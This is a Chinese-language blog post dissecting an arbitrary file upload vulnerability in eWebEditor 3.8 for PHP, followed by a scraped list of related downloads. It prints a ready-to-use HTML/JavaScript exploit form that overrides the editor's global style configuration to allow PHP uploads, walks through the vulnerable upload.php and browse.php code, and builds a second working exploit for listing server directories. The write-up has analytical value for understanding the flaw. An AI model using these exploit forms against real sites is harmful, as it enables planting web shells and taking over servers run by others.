`

ewebeditor 3.8 任意文件上传漏洞解析

 
阅读更多

   首先这个是别人早都发出来的一个漏洞,exp也写好了,如下

<title>eWebeditoR3.8 for php任意文件上EXP</title>
<form action="" method=post enctype="multipart/form-data"> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> 
URL:<input type=text name=url value="http://localhost:81/" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile1/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> 
file:<input type=file name="uploadfile"><br> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; 
alert(form.action); 
form.submit(); 
} 
</script>

 

 

这是一个任意文件上传漏洞,目标版本是eWebEditor 3.8 for php ,不过估计asp应该也有类似的问题,具体的解析思路是:

     首先一个网页编辑器,无论是fck,ewebeditor 或者kindeditor之类的,都爆出过上传漏洞,那么找文件上传漏洞的思路应该是先下载对应版本的编辑器,自己把环境搭起来,然后开始找文件上传点,3.8据说还有个cookie的验证不严格的漏洞,不过我看了下没发现,估计我看的是修正过的版本,

    文文件上传很直接的我们就定位到了admin/upload.php,不过很可惜在文件头就发现了


require("private.php");这个,这意味着这个upload.php我们几乎无法使用的。

但是继续往下看,我们翻到别的目录发现了php这个目录,而这个目录中,共有3各有意义的文件,个个都非常重要

 

1. config.php一个类似数据库存储的文件,中间保存了用户名密码,以及一些样式

2.browse.php 是一个用来查看文件夹路径的php,最重要的是他们有检查用户登录与否

3.upload.php 这就是一个上传的页面,同样也没有检查用户

 

我们首先关注upload.php这个文件,这也是这个exp的处理的地方

<?php

require("config.php");

InitUpload();

if (isset($_GET["action"])){
	$sAction = strtoupper($_GET["action"]);
}else{
	$sAction = "";
}


switch ($sAction){
case "REMOTE":
	DoCreateNewDir();
	DoRemote();
	break;
case "SAVE":
	ShowForm();
	DoCreateNewDir();
	DoSave();
	break;
default:
	ShowForm();
	break;
}

 

明显在这个文件一开始就有一个InitUpload(); 的存在

 

function  InitUpload(){
	global $sType, $sStyleName, $sLanguage;
	global $sAllowExt, $nAllowSize, $sUploadDir, $nUploadObject, $nAutoDir, $sBaseUrl, $sContentPath;
	global $sFileExt, $sOriginalFileName, $sSaveFileName, $sPathFileName, $nFileNum;
	global $nSLTFlag, $nSLTMinSize, $nSLTOkSize, $nSYFlag, $sSYText, $sSYFontColor, $nSYFontSize, $sSYFontName, $sSYPicPath, $nSLTSYObject, $sSLTSYExt, $nSYMinSize, $sSYShadowColor, $nSYShadowOffset;

	$sType = toTrim("type");
	$sStyleName = toTrim("style");
	$sLanguage = toTrim("language");

	$bValidStyle = false;
	$numElements = count($GLOBALS["aStyle"]);
	for($i=1; $i<=$numElements; $i++){
		$aStyleConfig = explode("|||", $GLOBALS["aStyle"][$i]);
		if (strtolower($sStyleName)==strtolower($aStyleConfig[0])){
			$bValidStyle = true;
			break;
		}
	}

	if ($bValidStyle == false) {
		OutScript("parent.UploadError('lang[\"ErrInvalidStyle\"]')");
	}

	$sBaseUrl = $aStyleConfig[19];
	$nUploadObject = (int)$aStyleConfig[20];
	$nAutoDir = (int)$aStyleConfig[21];

	$sUploadDir = $aStyleConfig[3];
	if (substr($sUploadDir, 0, 1) != "/"){
		$sUploadDir = "../".$sUploadDir;
	}

	switch ($sBaseUrl){
	case "0":
		$sContentPath = $aStyleConfig[23];
		break;
	case "1":
		$sContentPath = RelativePath2RootPath($sUploadDir);
		break;
	case "2":
		$sContentPath = RootPath2DomainPath(RelativePath2RootPath($sUploadDir));
		break;
	}

	switch (strtoupper($sType)){
	case "REMOTE":
		$sAllowExt = $aStyleConfig[10];
		$nAllowSize = (int)$aStyleConfig[15];
		break;
	case "FILE":
		$sAllowExt = $aStyleConfig[6];
		$nAllowSize = (int)$aStyleConfig[11];
		break;
	case "MEDIA":
		$sAllowExt = $aStyleConfig[9];
		$nAllowSize = (int)$aStyleConfig[14];
		break;
	case "FLASH":
		$sAllowExt = $aStyleConfig[7];
		$nAllowSize = (int)$aStyleConfig[12];
		break;
	default:
		$sAllowExt = $aStyleConfig[8];
		$nAllowSize = (int)$aStyleConfig[13];
		break;
	}

	$sAllowExt = strtoupper($sAllowExt);

	$nSLTFlag = (int)$aStyleConfig[29];
	$nSLTMinSize = (int)$aStyleConfig[30];
	$nSLTOkSize = (int)$aStyleConfig[31];
	$nSYFlag = (int)$aStyleConfig[32];
	$sSYText = $aStyleConfig[33];
	$sSYFontColor = $aStyleConfig[34];
	$nSYFontSize = (int)$aStyleConfig[35];
	$sSYFontName = $aStyleConfig[36];
	$sSYPicPath = $aStyleConfig[37];
	$nSLTSYObject = (int)$aStyleConfig[38];
	$sSLTSYExt = $aStyleConfig[39];
	$nSYMinSize = (int)$aStyleConfig[40];
	$sSYShadowColor = $aStyleConfig[41];
	$nSYShadowOffset = (int)$aStyleConfig[42];

}

 这个方法由于采用了全局变量设置,可以被用户提交的变量所覆盖,他的原意是通过config.php得到这些初始参数的,这就是漏洞所在,而我们通过观察config.php可得知原始样式表共有11个,所以就理解了exp中的样式表为aStyle[12]的原因了,

 

然后通过自己修改了下已有的astyle,其中添加允许上传为php,基本上漏洞就算利用好了

 

同样的理论,我们去观察这个目录下剩余的

browse.php

 

而且此时我们发现别人写的exp存在着一个很奇怪的问题,在config.php中,我们可以看到

写道
$aStyle[11] = "popup|||blue|||coolblue|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||2|||||||||1|||0|||酷蓝样式,主要用于标准弹窗,增加弹窗返回按钮。|||1|||zh-cn|||0|||500|||300|||0|||版权所有...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";

 

一项一共有43项,而别人提供的exp只有42项,而其中着关键最后一项在browse.php中有着大作用,我觉得这个exp可能是故意漏掉了这个关键的一个,

$sAllowBrowse = $aStyleConfig[43];

 

 

分析ewebeditor browse.php可以采用和upload.php相同的手法覆盖掉config.php,然后在browse。php中我们可以看到

$sUploadDir = $aStyleConfig[3];

 

所以我们构造的时候可以选择sUploadDir=空,dir=空

 

	$sDir = toTrim("dir");
	if ($sDir != "") {
		if (is_dir($sUploadDir.$sDir)) {
			$sCurrDir = $sUploadDir.$sDir."/";
		}else{
			$sDir = "";
		}
	}

 

但是由于

	switch (strtoupper($sType)){
	case "FILE":
		$sAllowExt = "";
		break;
	case "MEDIA":
		$sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov";
		break;
	case "FLASH":
		$sAllowExt = "swf";
		break;
	default:
		$sAllowExt = "bmp|jpg|jpeg|png|gif";
		break;
	}

 

这个的存在,使得最终列文件效果无法列出php和asp等,不过爆目录效果还是可以的

最终生成的browse.html

<title>eWebeditoR3.8 for php查看文件目录</title>
<form action="" method=post enctype="multipart/form-data"> 
URL:<input type=text name=url value="http://localhost:81/" size=100><br> 
DIR:<input type=text name=dir value="" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="ice|||gray|||red||||||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|php|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1"> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/browse.php?style=ice&dir='+form.dir.value; 
alert(form.action); 
form.submit(); 
} 
</script>

 

使用后,会弹出新的页面,查看页面源代码就可以得到目录列表和少量图片文件了

分享到:
评论

相关推荐

    ewebeditor 3.8 for php

    **图片上传功能** 是ewebeditor 3.8 的一个重要特点。这个功能使得用户可以在编辑器中直接选择本地图片并上传至服务器,然后在编辑的内容中插入该图片的链接。这简化了内容创作流程,尤其是对于需要频繁插入图片的...

    eWebEditor 3.8 for php 已经完美解决IE(7\8\9)、火狐、傲游兼容问题

    - eWebEditor 3.8 for PHP 可以轻松地整合到PHP驱动的网站中,只需简单地将编辑器的JavaScript和PHP文件上传到服务器,并在需要的地方调用相应的API即可。 - 可能包含一个名为`adminzx`的文件或目录,这通常代表...

    eWebEditor 3.8 商业完整版ASP PHP

    1. **安装配置**:将eWebEditor上传至服务器,根据ASP或PHP环境进行相应的配置。 2. **数据库连接**:如果需要存储用户编辑的内容,需要配置数据库连接参数。 3. **调用编辑器**:在网页中通过JavaScript或服务器端...

    eWebEditor 2.1.6 asp版 上传漏洞利用程序

    eWebEditor 2.1.6 asp版 上传漏洞利用程序 eWebEditor 2.1.6 asp版 上传漏洞利用程序 eWebEditor 2.1.6 asp版 上传漏洞利用程序

    eWebEditor3.8商业版

    6. 修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误的...

    ewebeditor 3.8 商业版 PHP版本

    修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误...

    ewebeditor 3.8

    6. 修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题 7. 修复ASP版图片水印可能不能使用的问题 8. 修复段落属性对话框中单字间距使用了没有效果的问题 9. 修复繁体语言包编码错误的问题 ...

    ewebeditor asp版 2.1.6 上传漏洞利用程序.htm

    ewebeditor asp版 2.1.6 上传漏洞利用程序.htm

    30.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)1

    1. **FCKeditor编辑器漏洞**:FCKeditor是一款广泛使用的网页文本编辑器,但历史上曾出现过漏洞,允许攻击者通过编辑器上传恶意文件,从而可能执行任意代码。这种漏洞通常源于编辑器对上传文件类型的检查不足或解析...

    eWebEditor For PHP v3.8

    **eWebEditor For PHP v3.8:在线HTML编辑器详解** eWebEditor是一款功能强大的基于PHP的在线HTML编辑器,...通过解压并安装提供的“eWebEditor For PHP v3.8”文件,你可以立即开始体验这款强大的编辑器带来的便利。

    eWebEditor7-修复漏洞带上传

     文件 I.JS// eWebEditor 7.0 设置文件  文件 upload.asp//上传文件,不提供上传,就把文件名修改其它名或者删除  文件 upfileclass.asp//上传文件  文件 browse.asp//浏览上传文件 目录 sharefile  目录 ...

    ewebeditor漏洞与防范专题资源

    3. **文件上传漏洞**:EwebEditor允许用户上传图片和其他文件,如果服务器端验证不严,攻击者可能上传恶意文件,如病毒、木马,或者利用此漏洞执行远程命令。 4. **权限控制漏洞**:EwebEditor可能会出现权限控制...

    太子黑盟最新ewebeditor asp版 上传漏洞利用工具.rar

    太子黑盟最新ewebeditor asp版 上传漏洞利用工具.rar

    eWebEditor兼容chrome 可上传

    eWebEditor兼容chrome目录 ASP 文件 I.JS // eWebEditor 7.0 设置文件 文件 upload.asp //上传文件,不提供上传,就把文件名修改其它名或者删除 文件 upfile_class.asp //上传文件 文件 browse.asp

    ewebeditor在线编辑器3.8-4.0-4.4版本

    - EWebEditor 4.0 版本:相对于3.8版本,4.0可能引入了更多的增强特性,比如更多的预设样式、图片上传功能、表格编辑工具等,提高了用户体验。 - EWebEditor 4.4 版本:此版本可能进一步优化了性能和稳定性,增加...

    ewebeditor 7.3 支持上传

    《ewebeditor 7.3:一款支持上传的静态版编辑器详解》 ewebeditor 7.3 是一个强大的富文本编辑器,专为网页内容编辑设计,它以其易于使用和丰富的功能集赢得了广大用户的青睐。这个版本的显著特点是支持上传功能,...

    ewebeditor 8.5 net版修改上传附件大小

    5. **测试修改效果**:重新加载使用ewebeditor的页面,尝试上传一个大于原始限制但小于新设置限制的文件,以确认修改是否成功生效。 ### 额外提示 - 在修改`config.aspx`文件时,确保只更改与上传文件大小相关的...

    eWebEditor 7.0 支持上传版 在线html编辑器

    把eWebEditor7文件夹放入网站根目录,本eWebEditor 7.0支持上传,无后门放心使用。 目录 ASP 文件 I.JS // eWebEditor 7.0 设置文件 文件 upload.asp //上传文件,不提供上传,就把文件名修改其它名或者删除 文件...

Global site tag (gtag.js) - Google Analytics